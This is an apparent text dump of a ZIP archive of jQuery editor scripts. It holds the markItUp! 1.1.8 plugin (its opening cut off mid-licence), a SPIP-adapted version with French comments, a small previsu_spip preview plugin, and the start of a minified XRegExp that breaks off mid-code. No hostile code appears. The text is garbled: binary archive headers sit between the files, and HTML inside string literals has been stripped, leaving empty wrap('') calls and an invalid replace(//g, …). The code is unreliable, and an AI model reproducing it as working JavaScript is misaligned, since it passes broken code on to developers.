merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. // ---------------------------------------------------------------------------- (function($) { $.fn.markItUp = function(settings, extraSettings) { var options, ctrlKey, shiftKey, altKey; ctrlKey = shiftKey = altKey = false; options = { id: '', nameSpace: '', root: '', previewInWindow: '', // 'width=800, height=600, resizable=yes, scrollbars=yes' previewAutoRefresh: true, previewPosition: 'after', previewTemplatePath: '~/templates/preview.html', previewParserPath: '', previewParserVar: 'data', resizeHandle: true, beforeInsert: '', afterInsert: '', onEnter: {}, onShiftEnter: {}, onCtrlEnter: {}, onTab: {}, markupSet: [ { /* set */ } ] }; $.extend(options, settings, extraSettings); // compute markItUp! path if (!options.root) { $('script').each(function(a, tag) { miuScript = $(tag).get(0).src.match(/(.*)jquery\.markitup(\.pack)?\.js$/); if (miuScript !== null) { options.root = miuScript[1]; } }); } return this.each(function() { var $$, textarea, levels, scrollPosition, caretPosition, caretOffset, clicked, hash, header, footer, previewWindow, template, iFrame, abort; $$ = $(this); textarea = this; levels = []; abort = false; scrollPosition = caretPosition = 0; caretOffset = -1; options.previewParserPath = localize(options.previewParserPath); options.previewTemplatePath = localize(options.previewTemplatePath); // apply the computed path to ~/ function localize(data, inText) { if (inText) { return data.replace(/("|')~\//g, "$1"+options.root); } return data.replace(/^~\//, options.root); } // init and build editor function init() { id = ''; nameSpace = ''; if (options.id) { id = 'id="'+options.id+'"'; } else if ($$.attr("id")) { id = 'id="markItUp'+($$.attr("id").substr(0, 1).toUpperCase())+($$.attr("id").substr(1))+'"'; } if (options.nameSpace) { nameSpace = 'class="'+options.nameSpace+'"'; } $$.wrap('
            '); $$.wrap('
            '); $$.wrap('
            '); $$.addClass("markItUpEditor"); // add the header before the textarea header = $('
            ').insertBefore($$); $(dropMenus(options.markupSet)).appendTo(header); // add the footer after the textarea footer = $('
            ').insertAfter($$); // add the resize handle after textarea if (options.resizeHandle === true && $.browser.safari !== true) { resizeHandle = $('
            ') .insertAfter($$) .bind("mousedown", function(e) { var h = $$.height(), y = e.clientY, mouseMove, mouseUp; mouseMove = function(e) { $$.css("height", Math.max(20, e.clientY+h-y)+"px"); return false; }; mouseUp = function(e) { $("html").unbind("mousemove", mouseMove).unbind("mouseup", mouseUp); return false; }; $("html").bind("mousemove", mouseMove).bind("mouseup", mouseUp); }); footer.append(resizeHandle); } // listen key events $$.keydown(keyPressed).keyup(keyPressed); // bind an event to catch external calls $$.bind("insertion", function(e, settings) { if (settings.target !== false) { get(); } if (textarea === $.markItUp.focused) { markup(settings); } }); // remember the last focus $$.focus(function() { $.markItUp.focused = this; }); } // recursively build header with dropMenus from markupset function dropMenus(markupSet) { var ul = $('
              '), i = 0; $('li:hover > ul', ul).css('display', 'block'); $.each(markupSet, function() { var button = this, t = '', title, li, j; title = (button.key) ? (button.name||'')+' [Ctrl+'+button.key+']' : (button.name||''); key = (button.key) ? 'accesskey="'+button.key+'"' : ''; if (button.separator) { li = $('
            • '+(button.separator||'')+'
            • ').appendTo(ul); } else { i++; for (j = levels.length -1; j >= 0; j--) { t += levels[j]+"-"; } li = $('
            • '+(button.name||'')+'
            • ') .bind("contextmenu", function() { // prevent contextmenu on mac and allow ctrl+click return false; }).click(function() { return false; }).focusin(function(){ $$.focus(); }).mousedown(function() { if (button.call) { eval(button.call)(); } setTimeout(function() { markup(button) },1); return false; }).hover(function() { $('> ul', this).show(); $(document).one('click', function() { // close dropmenu if click outside $('ul ul', header).hide(); } ); }, function() { $('> ul', this).hide(); } ).appendTo(ul); if (button.dropMenu) { levels.push(i); $(li).addClass('markItUpDropMenu').append(dropMenus(button.dropMenu)); } } }); levels.pop(); return ul; } // markItUp! markups function magicMarkups(string) { if (string) { string = string.toString(); string = string.replace(/\(\!\(([\s\S]*?)\)\!\)/g, function(x, a) { var b = a.split('|!|'); if (altKey === true) { return (b[1] !== undefined) ? b[1] : b[0]; } else { return (b[1] === undefined) ? "" : b[0]; } } ); // [![prompt]!], [![prompt:!:value]!] string = string.replace(/\[\!\[([\s\S]*?)\]\!\]/g, function(x, a) { var b = a.split(':!:'); if (abort === true) { return false; } value = prompt(b[0], (b[1]) ? b[1] : ''); if (value === null) { abort = true; } return value; } ); return string; } return ""; } // prepare action function prepare(action) { if ($.isFunction(action)) { action = action(hash); } return magicMarkups(action); } // build block to insert function build(string) { openWith = prepare(clicked.openWith); placeHolder = prepare(clicked.placeHolder); replaceWith = prepare(clicked.replaceWith); closeWith = prepare(clicked.closeWith); if (replaceWith !== "") { block = openWith + replaceWith + closeWith; } else if (selection === '' && placeHolder !== '') { block = openWith + placeHolder + closeWith; } else { block = openWith + (string||selection) + closeWith; } return { block:block, openWith:openWith, replaceWith:replaceWith, placeHolder:placeHolder, closeWith:closeWith }; } // define markup to insert function markup(button) { var len, j, n, i; hash = clicked = button; get(); $.extend(hash, { line:"", root:options.root, textarea:textarea, selection:(selection||''), caretPosition:caretPosition, ctrlKey:ctrlKey, shiftKey:shiftKey, altKey:altKey } ); // callbacks before insertion prepare(options.beforeInsert); prepare(clicked.beforeInsert); if (ctrlKey === true && shiftKey === true) { prepare(clicked.beforeMultiInsert); } $.extend(hash, { line:1 }); if (ctrlKey === true && shiftKey === true) { lines = selection.split(/\r?\n/); for (j = 0, n = lines.length, i = 0; i < n; i++) { if ($.trim(lines[i]) !== '') { $.extend(hash, { line:++j, selection:lines[i] } ); lines[i] = build(lines[i]).block; } else { lines[i] = ""; } } string = { block:lines.join('\n')}; start = caretPosition; len = string.block.length + (($.browser.opera) ? n-1 : 0); } else if (ctrlKey === true) { string = build(selection); start = caretPosition + string.openWith.length; len = string.block.length - string.openWith.length - string.closeWith.length; len -= fixIeBug(string.block); } else if (shiftKey === true) { string = build(selection); start = caretPosition; len = string.block.length; len -= fixIeBug(string.block); } else { string = build(selection); start = caretPosition + string.block.length ; len = 0; start -= fixIeBug(string.block); } if ((selection === '' && string.replaceWith === '')) { caretOffset += fixOperaBug(string.block); start = caretPosition + string.openWith.length; len = string.block.length - string.openWith.length - string.closeWith.length; caretOffset = $$.val().substring(caretPosition, $$.val().length).length; caretOffset -= fixOperaBug($$.val().substring(0, caretPosition)); } $.extend(hash, { caretPosition:caretPosition, scrollPosition:scrollPosition } ); if (string.block !== selection && abort === false) { insert(string.block); set(start, len); } else { caretOffset = -1; } get(); $.extend(hash, { line:'', selection:selection }); // callbacks after insertion if (ctrlKey === true && shiftKey === true) { prepare(clicked.afterMultiInsert); } prepare(clicked.afterInsert); prepare(options.afterInsert); // refresh preview if opened if (previewWindow && options.previewAutoRefresh) { refreshPreview(); } // reinit keyevent shiftKey = altKey = ctrlKey = abort = false; } // Substract linefeed in Opera function fixOperaBug(string) { if ($.browser.opera) { return string.length - string.replace(/\n*/g, '').length; } return 0; } // Substract linefeed in IE function fixIeBug(string) { if ($.browser.msie) { return string.length - string.replace(/\r*/g, '').length; } return 0; } // add markup function insert(block) { if (document.selection) { var newSelection = document.selection.createRange(); newSelection.text = block; } else { textarea.value = textarea.value.substring(0, caretPosition) + block + textarea.value.substring(caretPosition + selection.length, textarea.value.length); } } // set a selection function set(start, len) { if (textarea.createTextRange){ // quick fix to make it work on Opera 9.5 if ($.browser.opera && $.browser.version >= 9.5 && len == 0) { return false; } range = textarea.createTextRange(); range.collapse(true); range.moveStart('character', start); range.moveEnd('character', len); range.select(); } else if (textarea.setSelectionRange ){ textarea.setSelectionRange(start, start + len); } textarea.scrollTop = scrollPosition; textarea.focus(); } // get the selection function get() { textarea.focus(); scrollPosition = textarea.scrollTop; if (document.selection) { selection = document.selection.createRange().text; if ($.browser.msie) { // ie var range = document.selection.createRange(), rangeCopy = range.duplicate(); rangeCopy.moveToElementText(textarea); caretPosition = -1; while(rangeCopy.inRange(range)) { rangeCopy.moveStart('character'); caretPosition ++; } } else { // opera caretPosition = textarea.selectionStart; } } else { // gecko & webkit caretPosition = textarea.selectionStart; selection = textarea.value.substring(caretPosition, textarea.selectionEnd); } return selection; } // open preview window function preview() { if (!previewWindow || previewWindow.closed) { if (options.previewInWindow) { previewWindow = window.open('', 'preview', options.previewInWindow); $(window).unload(function() { previewWindow.close(); }); } else { iFrame = $(''); if (options.previewPosition == 'after') { iFrame.insertAfter(footer); } else { iFrame.insertBefore(header); } previewWindow = iFrame[iFrame.length - 1].contentWindow || frame[iFrame.length - 1]; } } else if (altKey === true) { if (iFrame) { iFrame.remove(); } else { previewWindow.close(); } previewWindow = iFrame = false; } if (!options.previewAutoRefresh) { refreshPreview(); } if (options.previewInWindow) { previewWindow.focus(); } } // refresh Preview window function refreshPreview() { renderPreview(); } function renderPreview() { var phtml; if (options.previewParserPath !== '') { $.ajax( { type: 'POST', url: options.previewParserPath, data: options.previewParserVar+'='+encodeURIComponent($$.val()), success: function(data) { writeInPreview( localize(data, 1) ); } } ); } else { if (!template) { $.ajax( { url: options.previewTemplatePath, success: function(data) { writeInPreview( localize(data, 1).replace(//g, $$.val()) ); } } ); } } return false; } function writeInPreview(data) { if (previewWindow.document) { try { sp = previewWindow.document.documentElement.scrollTop } catch(e) { sp = 0; } previewWindow.document.open(); previewWindow.document.write(data); previewWindow.document.close(); previewWindow.document.documentElement.scrollTop = sp; } } // set keys pressed function keyPressed(e) { shiftKey = e.shiftKey; altKey = e.altKey; ctrlKey = (!(e.altKey && e.ctrlKey)) ? e.ctrlKey : false; if (e.type === 'keydown') { if (ctrlKey === true) { li = $("a[accesskey="+String.fromCharCode(e.keyCode)+"]", header).parent('li'); if (li.length !== 0) { ctrlKey = false; setTimeout(function() { li.triggerHandler('mousedown'); },1); return false; } } if (e.keyCode === 13 || e.keyCode === 10) { // Enter key if (ctrlKey === true) { // Enter + Ctrl ctrlKey = false; markup(options.onCtrlEnter); return options.onCtrlEnter.keepDefault; } else if (shiftKey === true) { // Enter + Shift shiftKey = false; markup(options.onShiftEnter); return options.onShiftEnter.keepDefault; } else { // only Enter markup(options.onEnter); return options.onEnter.keepDefault; } } if (e.keyCode === 9) { // Tab key if (shiftKey == true || ctrlKey == true || altKey == true) { return false; } if (caretOffset !== -1) { get(); caretOffset = $$.val().length - caretOffset; set(caretOffset, 0); caretOffset = -1; return false; } else { markup(options.onTab); return options.onTab.keepDefault; } } } } init(); }); }; $.fn.markItUpRemove = function() { return this.each(function() { var $$ = $(this).unbind().removeClass('markItUpEditor'); $$.parent('div').parent('div.markItUp').parent('div').replaceWith($$); } ); }; $.markItUp = function(settings) { var options = { target:false }; $.extend(options, settings); if (options.target) { return $(options.target).each(function() { $(this).focus(); $(this).trigger('insertion', [options]); }); } else { $('textarea').trigger('insertion', [options]); } }; })(jQuery); PK8Q\/ٟWWjquery.markitup_pour_spip.jsnuW+A// ---------------------------------------------------------------------------- // markItUp! Universal MarkUp Engine, JQuery plugin // v 1.1.8 // Dual licensed under the MIT and GPL licenses. // ---------------------------------------------------------------------------- // Copyright (C) 2007-2010 Jay Salvat // http://markitup.jaysalvat.com/ // ---------------------------------------------------------------------------- // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. // ---------------------------------------------------------------------------- /* * Le code original de markitup 1.1.8 * a ete modifie pour prendre en compte * * 1) la langue utilisee dans les textarea : * - si un textarea possede un attribut lang='xx' alors * markitup n'affichera que les icones qui correspondent a cette langue * - on peut passer une valeur de langue par defaut a markitup (le textarea peut ne pas en definir) * .markitup(set_spip,{lang:'fr'}); * - une option supplementaire optionnelle 'lang' est introduite dans les parametres * des boutons (markupset), par exemple : lang:['fr','es','en'] * - si un bouton n'a pas ce parametre, l'icone s'affiche * quelque soit la langue designee dans le textarea ou les parametres de markitup ; * sinon, il faut que la langue soit contenue dedans pour que l'icone s'affiche. * 2) les control + shift (ou alt) + click bouton qui ne semblaient pas fonctionner * en tout cas sous FF3/ubintu/jquery 1.2.6 a verifier chez les autres (opera 9.5/ubuntu ok) * 3) gerer des types de selections differentes : * - normales comme dans markitup (rien a faire) * - 'selectionType':'word' : aux mots le plus proche si pas de selection (sinon la selection) * - 'selectionType':'line' : aux lignes les plus proches * - and 'return' : ugly hack to generate list (and so on) on key 'return' press * 4) forcer des actions multilignes sans avoir besoin de faire control+click * - 'forceMultiline':true : force donc une insertion multiligne * 5) correction de la recuperation des selections d'Opera et de IE * en utilisant une autre fonction de split() qui corrige leurs bugs. * (caretOffset n'est plus necessaire) * */ ;(function($) { $.fn.markItUp = function(settings, extraSettings) { var options, ctrlKey, shiftKey, altKey; ctrlKey = shiftKey = altKey = false; options = { id: '', nameSpace: '', root: '', lang: '', previewInWindow: '', // 'width=800, height=600, resizable=yes, scrollbars=yes' previewAutoRefresh: true, previewPosition: 'after', previewTemplatePath: '~/templates/preview.html', previewParserPath: '', previewParserVar: 'data', resizeHandle: true, beforeInsert: '', afterInsert: '', onEnter: {}, onShiftEnter: {}, onCtrlEnter: {}, onTab: {}, markupSet: [ { /* set */ } ] }; $.extend(options, settings, extraSettings); // compute markItUp! path if (!options.root) { $('script').each(function(a, tag) { miuScript = $(tag).get(0).src.match(/(.*)jquery\.markitup(\.pack)?\.js$/); if (miuScript !== null) { options.root = miuScript[1]; } }); } return this.each(function() { var $$, textarea, levels, scrollPosition, caretPosition, caretEffectivePosition, clicked, hash, header, footer, previewWindow, template, iFrame, abort, before, after; $$ = $(this); textarea = this; levels = []; abort = false; scrollPosition = caretPosition = 0; options.previewParserPath = localize(options.previewParserPath); options.previewTemplatePath = localize(options.previewTemplatePath); // apply the computed path to ~/ function localize(data, inText) { if (inText) { return data.replace(/("|')~\//g, "$1"+options.root); } return data.replace(/^~\//, options.root); } // init and build editor function init() { id = ''; nameSpace = ''; if (options.id) { id = 'id="'+options.id+'"'; } else if ($$.attr("id")) { id = 'id="markItUp'+($$.attr("id").substr(0, 1).toUpperCase())+($$.attr("id").substr(1))+'"'; } if (options.nameSpace) { nameSpace = 'class="'+options.nameSpace+'"'; } $$.wrap('
              '); $$.wrap('
              '); $$.wrap('
              '); $$.addClass("markItUpEditor"); // add the header before the textarea header = $('
              ').insertBefore($$); $(dropMenus(options.markupSet)).appendTo(header); // remove empty dropMenu $(header).find("li.markItUpDropMenu ul:empty").parent().remove(); // add the footer after the textarea footer = $('
              ').insertAfter($$); // add the resize handle after textarea if (options.resizeHandle === true && $.browser.safari !== true) { resizeHandle = $('
              ') .insertAfter($$) .bind("mousedown", function(e) { var h = $$.height(), y = e.clientY, mouseMove, mouseUp; mouseMove = function(e) { $$.css("height", Math.max(20, e.clientY+h-y)+"px"); return false; }; mouseUp = function(e) { $("html").unbind("mousemove", mouseMove).unbind("mouseup", mouseUp); return false; }; $("html").bind("mousemove", mouseMove).bind("mouseup", mouseUp); }); footer.append(resizeHandle); } // listen key events $$.keydown(keyPressed).keyup(keyPressed); // bind an event to catch external calls $$.bind("insertion", function(e, settings) { if (settings.target !== false) { get(); } if (textarea === $.markItUp.focused) { markup(settings); } }); // remember the last focus $$.focus(function() { $.markItUp.focused = this; }); } // recursively build header with dropMenus from markupset function dropMenus(markupSet) { var ul = $('
                '), i = 0; var lang = ($$.attr('lang')||options.lang); $('li:hover > ul', ul).css('display', 'block'); $.each(markupSet, function() { var button = this, t = '', title, li, j; // pas de langue ou dans la langue ; et uniquement si langue autorisee if ((!lang || !button.lang || ($.inArray(lang, button.lang) != -1)) && (!button.lang_not || ($.inArray(lang, button.lang_not) == -1))) { title = (button.key) ? (button.name||'')+' [Ctrl+'+button.key+']' : (button.name||''); key = (button.key) ? 'accesskey="'+button.key+'"' : ''; if (button.separator) { li = $('
              • '+(button.separator||'')+'
              • ').appendTo(ul); } else { i++; for (j = levels.length -1; j >= 0; j--) { t += levels[j]+"-"; } li = $('
              • '+(button.name||'')+'
              • ') .bind("contextmenu", function() { // prevent contextmenu on mac and allow ctrl+click return false; }).click(function() { return false; }).focusin(function(){ $$.focus(); }).mousedown(function() { if (button.call) { eval(button.call)(); } setTimeout(function() { markup(button) },1); return false; }).hover(function() { $('> ul', this).show(); $(document).one('click', function() { // close dropmenu if click outside $('ul ul', header).hide(); } ); }, function() { $('> ul', this).hide(); } ).appendTo(ul); if (button.dropMenu) { levels.push(i); $(li).addClass('markItUpDropMenu').append(dropMenus(button.dropMenu)); } } } }); levels.pop(); return ul; } // markItUp! markups function magicMarkups(string) { if (string) { string = string.toString(); string = string.replace(/\(\!\(([\s\S]*?)\)\!\)/g, function(x, a) { var b = a.split('|!|'); if (altKey === true) { return (b[1] !== undefined) ? b[1] : b[0]; } else { return (b[1] === undefined) ? "" : b[0]; } } ); // [![prompt]!], [![prompt:!:value]!] string = string.replace(/\[\!\[([\s\S]*?)\]\!\]/g, function(x, a) { var b = a.split(':!:'); if (abort === true) { return false; } value = prompt(b[0], (b[1]) ? b[1] : ''); if (value === null) { abort = true; } return value; } ); return string; } return ""; } // prepare action function prepare(action) { if ($.isFunction(action)) { action = action(hash); } return magicMarkups(action); } // build block to insert function build(string) { openWith = prepare(clicked.openWith); placeHolder = prepare(clicked.placeHolder); replaceWith = prepare(clicked.replaceWith); closeWith = prepare(clicked.closeWith); if (replaceWith !== "") { block = openWith + replaceWith + closeWith; } else if (selection === '' && placeHolder !== '') { block = openWith + placeHolder + closeWith; } else { block = openWith + (string||selection) + closeWith; } return { block:block, openWith:openWith, replaceWith:replaceWith, placeHolder:placeHolder, closeWith:closeWith }; } function selectWord(){ selectionBeforeAfter(/\s|[.,;:!¡?¿()]/); selectionSave(); } function selectLine(){ selectionBeforeAfter(/\r?\n/); selectionSave(); } function selectionRemoveLast(pattern){ // Remove space by default if (!pattern) pattern = /\s/; last = selection[selection.length-1]; if (last && last.match(pattern)) { set(caretPosition, selection.length-1); get(); $.extend(hash, { caretPosition:caretPosition, scrollPosition:scrollPosition } ); } } function selectionBeforeAfter(pattern) { if (!pattern) pattern = /\s/; before = textarea.value.substring(0, caretEffectivePosition); after = textarea.value.substring(caretEffectivePosition + selection.length - fixIeBug(selection)); before = before.split(pattern); after = after.split(pattern); } function selectionSave(){ nb_before = before ? before[before.length-1].length : 0; nb_after = after ? after[0].length : 0; nb = nb_before + selection.length + nb_after - fixIeBug(selection); caretPosition = caretPosition - nb_before; set(caretPosition, nb); get(); $.extend(hash, { selection:selection, caretPosition:caretPosition, scrollPosition:scrollPosition } ); } // define markup to insert function markup(button) { var len, j, n, i; hash = clicked = button; get(); $.extend(hash, { line:"", root:options.root, textarea:textarea, selection:(selection||''), caretPosition:caretPosition, ctrlKey:ctrlKey, shiftKey:shiftKey, altKey:altKey } ); // corrections des selections pour que // - soit le curseur ne change pas // - soit on prend le mot complet (si pas de selection) // - soit on prend la ligne (avant, apres la selection) if (button.selectionType) { if (button.selectionType == "word") { if (!selection) { selectWord(); } else { // win/ff add space on double click ? (hum, seems strange) selectionRemoveLast(/\s/); } } if (button.selectionType == "line") { selectLine(); } // horrible chose, mais tellement plus pratique // car on ne peut pas de l'exerieur (json) utiliser // les fonctions internes de markitup if (button.selectionType == "return"){ selectionBeforeAfter(/\r?\n/); before_last = before[before.length-1]; after = ''; // gestion des listes -# et -* if (r = before_last.match(/^-([*#]+) ?(.*)$/)) { if (r[2]) { button.replaceWith = "\n-"+r[1]+' '; before_last = ''; } else { // supprime le -* present // (before le fera) button.replaceWith = "\n"; } } else { before_last = ''; button.replaceWith = "\n"; } before[before.length-1] = before_last; selectionSave(); } } // / fin corrections // callbacks before insertion prepare(options.beforeInsert); prepare(clicked.beforeInsert); if (ctrlKey === true && shiftKey === true) { prepare(clicked.beforeMultiInsert); } $.extend(hash, { line:1 }); // insertion forcee en multiligne ou ctrl+click if ((button.forceMultiline === true && selection.length) || (ctrlKey === true && shiftKey === true)) { lines = selection.split(/\r?\n/); for (j = 0, n = lines.length, i = 0; i < n; i++) { if ($.trim(lines[i]) !== '') { $.extend(hash, { line:++j, selection:lines[i] } ); lines[i] = build(lines[i]).block; } else { lines[i] = ""; } } string = { block:lines.join('\n')}; start = caretPosition; len = string.block.length + (($.browser.opera) ? n-1 : 0); } else if (ctrlKey === true) { string = build(selection); start = caretPosition + string.openWith.length; len = string.block.length - string.openWith.length - string.closeWith.length; len -= fixIeBug(string.block); } else if (shiftKey === true) { string = build(selection); start = caretPosition; len = string.block.length; len -= fixIeBug(string.block); } else { string = build(selection); start = caretPosition + string.block.length ; len = 0; start -= fixIeBug(string.block); } if (selection === ''){ start += fixOperaBug(string.replaceWith); } $.extend(hash, { caretPosition:caretPosition, scrollPosition:scrollPosition } ); if (string.block !== selection && abort === false) { insert(string.block); set(start, len); } get(); $.extend(hash, { line:'', selection:selection }); // callbacks after insertion if ((button.forceMultiline === true) || (ctrlKey === true && shiftKey === true)) { prepare(clicked.afterMultiInsert); } prepare(clicked.afterInsert); prepare(options.afterInsert); // refresh preview if opened if (previewWindow && options.previewAutoRefresh) { refreshPreview(); } // reinit keyevent shiftKey = altKey = ctrlKey = abort = false; } // Substract linefeed in Opera function fixOperaBug(string) { if ($.browser.opera) { return string.length - string.replace(/\n*/g, '').length; } return 0; } // Substract linefeed in IE function fixIeBug(string) { if ($.browser.msie) { return string.length - string.replace(/\r*/g, '').length; } return 0; } // add markup function insert(block) { if (document.selection) { var newSelection = document.selection.createRange(); newSelection.text = block; } else { textarea.value = textarea.value.substring(0, caretEffectivePosition) + block + textarea.value.substring(caretEffectivePosition + selection.length, textarea.value.length); } } // set a selection function set(start, len) { if (textarea.createTextRange){ range = textarea.createTextRange(); range.collapse(true); range.moveStart('character', start); range.moveEnd('character', len); range.select(); } else if (textarea.setSelectionRange ){ textarea.setSelectionRange(start, start + len); } textarea.scrollTop = scrollPosition; textarea.focus(); } // get the selection function get() { textarea.focus(); scrollPosition = textarea.scrollTop; if (document.selection) { selection = document.selection.createRange().text; if ($.browser.msie) { // ie var range = document.selection.createRange(), rangeCopy = range.duplicate(); rangeCopy.moveToElementText(textarea); caretPosition = -1; while(rangeCopy.inRange(range)) { rangeCopy.moveStart('character'); caretPosition ++; } caretEffectivePosition = caretPosition; } else { // opera caretPosition = textarea.selectionStart; lenSelection = selection.length; // calcul du nombre reel de caracteres pour les substr() set(0,caretPosition); opBefore = document.selection.createRange().text; caretEffectivePosition = opBefore.length - fixOperaBug(opBefore); set(caretPosition, lenSelection); selection = document.selection.createRange().text; } } else { // gecko & webkit caretPosition = textarea.selectionStart; caretEffectivePosition = caretPosition; selection = textarea.value.substring(caretPosition, textarea.selectionEnd); } return selection; } // open preview window function preview() { if (!previewWindow || previewWindow.closed) { if (options.previewInWindow) { previewWindow = window.open('', 'preview', options.previewInWindow); $(window).unload(function() { previewWindow.close(); }); } else { iFrame = $(''); if (options.previewPosition == 'after') { iFrame.insertAfter(footer); } else { iFrame.insertBefore(header); } previewWindow = iFrame[iFrame.length - 1].contentWindow || frame[iFrame.length - 1]; } } else if (altKey === true) { if (iFrame) { iFrame.remove(); } else { previewWindow.close(); } previewWindow = iFrame = false; } if (!options.previewAutoRefresh) { refreshPreview(); } if (options.previewInWindow) { previewWindow.focus(); } } // refresh Preview window function refreshPreview() { renderPreview(); } function renderPreview() { var phtml; if (options.previewParserPath !== '') { $.ajax( { type: 'POST', url: options.previewParserPath, data: options.previewParserVar+'='+encodeURIComponent($$.val()), success: function(data) { writeInPreview( localize(data, 1) ); } } ); } else { if (!template) { $.ajax( { url: options.previewTemplatePath, success: function(data) { writeInPreview( localize(data, 1).replace(//g, $$.val()) ); } } ); } } return false; } function writeInPreview(data) { if (previewWindow.document) { try { sp = previewWindow.document.documentElement.scrollTop } catch(e) { sp = 0; } previewWindow.document.open(); previewWindow.document.write(data); previewWindow.document.close(); previewWindow.document.documentElement.scrollTop = sp; } } // set keys pressed function keyPressed(e) { if (e.type === 'keydown') { if (e.which === 18) {e.altKey = true;} // alt if (e.which === 17) {e.ctrlKey = true;} // control if (e.which === 16) {e.shiftKey = true;} // shift } shiftKey = e.shiftKey; altKey = e.altKey; ctrlKey = (!(e.altKey && e.ctrlKey)) ? e.ctrlKey : false; if (e.type === 'keydown') { if (ctrlKey === true) { li = $("a[accesskey="+String.fromCharCode(e.which)+"]", header).parent('li'); if (li.length !== 0) { ctrlKey = false; setTimeout(function() { li.triggerHandler('mousedown'); },1); return false; } } // si opera, on s'embete pas, il cree plus de problemes qu'autre chose // car il ne prend pas en compte l'arret de ces evenements if (!$.browser.opera) { if (e.which === 13 || e.which === 10) { // Enter key if (ctrlKey === true) { // Enter + Ctrl ctrlKey = false; markup(options.onCtrlEnter); return options.onCtrlEnter.keepDefault; } else if (shiftKey === true) { // Enter + Shift shiftKey = false; markup(options.onShiftEnter); return options.onShiftEnter.keepDefault; } else { // only Enter markup(options.onEnter); return options.onEnter.keepDefault; } } if (e.which === 9) { // Tab key if (shiftKey == true || ctrlKey == true || altKey == true) { return false; } markup(options.onTab); return options.onTab.keepDefault; } } } } init(); }); }; $.fn.markItUpRemove = function() { return this.each(function() { var $$ = $(this).unbind().removeClass('markItUpEditor'); $$.parent('div').parent('div.markItUp').parent('div').replaceWith($$); } ); }; $.markItUp = function(settings) { var options = { target:false }; $.extend(options, settings); if (options.target) { return $(options.target).each(function() { $(this).focus(); $(this).trigger('insertion', [options]); }); } else { $('textarea').trigger('insertion', [options]); } }; })(jQuery); PK8Q\͚1& & jquery.previsu_spip.jsnuW+A;(function($) { $.fn.previsu_spip = function(settings) { var options; options = { previewParserPath: '' , previewParserVar: 'data', textEditer: 'Editer', textVoir: 'Voir' }; $.extend(options, settings); return this.each(function() { var $$, textarea, tabs, preview; $$ = $(this); textarea = this; // init and build previsu buttons function init() { $$.addClass("pp_previsualisation"); tabs = $('
                ').prependTo($$.parent()); $(tabs).append( '' + options.textVoir + '' + '' + options.textEditer + '' ); preview = $('
                ').insertAfter(tabs); preview.hide(); $('.previsuVoir').click(function(){ mark = $(this).parent().parent(); objet = mark.parents('.formulaire_spip')[0].className.match(/formulaire_editer_(\w+)/); champ = mark.parents('li')[0].className.match(/editer_(\w+)/); $(mark).find('.markItUpPreview').height( $(mark).find('.markItUpHeader').height() + $(mark).find('.markItUpEditor').height() + $(mark).find('.markItUpFooter').height() ); $(mark).find('.markItUpHeader').hide(); $(mark).find('.markItUpEditor').hide(); $(mark).find('.markItUpFooter').hide(); $(this).addClass('on').next().removeClass('on'); $(mark).find('.markItUpPreview').show() .addClass('ajaxLoad') .html(renderPreview( $(mark).find('textarea.pp_previsualisation').val(), champ[1].toUpperCase(), objet[1]) ) .removeClass('ajaxLoad'); return false; }); $('.previsuEditer').click(function(){ mark = $(this).parent().parent(); $(mark).find('.markItUpPreview').hide(); $(mark).find('.markItUpHeader').show(); $(mark).find('.markItUpEditor').show(); $(mark).find('.markItUpFooter').show(); $(this).addClass('on').prev().removeClass('on'); return false; }); } function renderPreview(val, champ, objet) { var phtml; if (options.previewParserPath !== '') { $.ajax( { type: 'POST', async: false, url: options.previewParserPath, data: 'champ='+champ +'&objet='+objet +'&' + options.previewParserVar+'='+encodeURIComponent(val), success: function(data) { phtml = data; } } ); } return phtml; } init(); }); }; })(jQuery); PK8Q\{xregexp-min.jsnuW+A//XRegExp 1.2.0 MIT License var XRegExp;if(!XRegExp){(function(){XRegExp=function(r,l){if(XRegExp.isRegExp(r)){if(l!==undefined){throw TypeError("can't supply flags when constructing one RegExp from another")}return r.addFlags("")}if(h){throw Error("can't call the XRegExp constructor within token definition functions")}var l=l||"",k=[],s=0,p=XRegExp.OUTSIDE_CLASS,m={hasNamedCapture:false,captureNames:[],hasFlag:function(u){if(u.length>1){throw SyntaxError("flag can't be more than one character")}return l.indexOf(u)>-1}},n,q,o,t;while(s1&&XRegExp._indexOf(m,"")>-1){k=RegExp("^"+this.source+"$(?!\\s)",XRegExp._getNativeFlags(this));i.replace.call(m[0],k,function(){for(var p=1;p(m.index+m[0].length)){this.lastIndex--}}return m};if(!c){RegExp.prototype.test=function(l){var k=i.exec.call(this,l);if(k&&this.global&&this.lastIndex>(k.index+k[0].length)){this.lastIndex--}return !!k}}String.prototype.match=function(l){if(!XRegExp.isRegExp(l)){l=RegExp(l)}if(l.global){var k=i.match.apply(this,arguments);l.lastIndex=0;return k}return l.exec(this)};String.prototype.replace=function(m,n){var 